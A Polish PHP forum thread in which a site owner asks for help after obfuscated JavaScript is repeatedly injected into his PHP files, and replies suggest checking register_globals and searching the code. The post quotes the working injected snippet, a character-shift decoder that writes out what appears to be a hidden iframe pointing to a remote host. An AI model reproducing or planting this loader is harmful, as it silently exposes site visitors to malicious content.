Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Dopisywanie złośliwego kodu javascript
Forum PHP.pl > Forum > PHP
rafalp
Mam nawracający problem z dopisywaniem do moich plików php w katalogu głównym serwera (w tym index.php) kodu:

  1. <?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>


Powoduje to zawieszenie przeglądarek. Po pierwszym incydencie zmieniłem hasła dostępowe do FTP jednak problem nie znika, czy ktoś spodkał się z czym podobnym? Co jeszcze można zrobić gdy serwer mam nie na swojej maszynie?
Black-Berry
phpinfo(). Zobacz jakie masz ustawienie register_globals. Też się z tym spotkałem. Pasowałoby też przeszukać cały kod bo możliwe ze złosliwy kod generujący ten dopisek już się gdzies wstrzyknął.

Odpisz czy udało Ci się rozwiązać proble. Tez z tym chcę powalczyć u siebie.
kwiateusz
Przenosze bo to nie ma zwiazku z serwerem WWW tylko pewnie z aplikacja
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.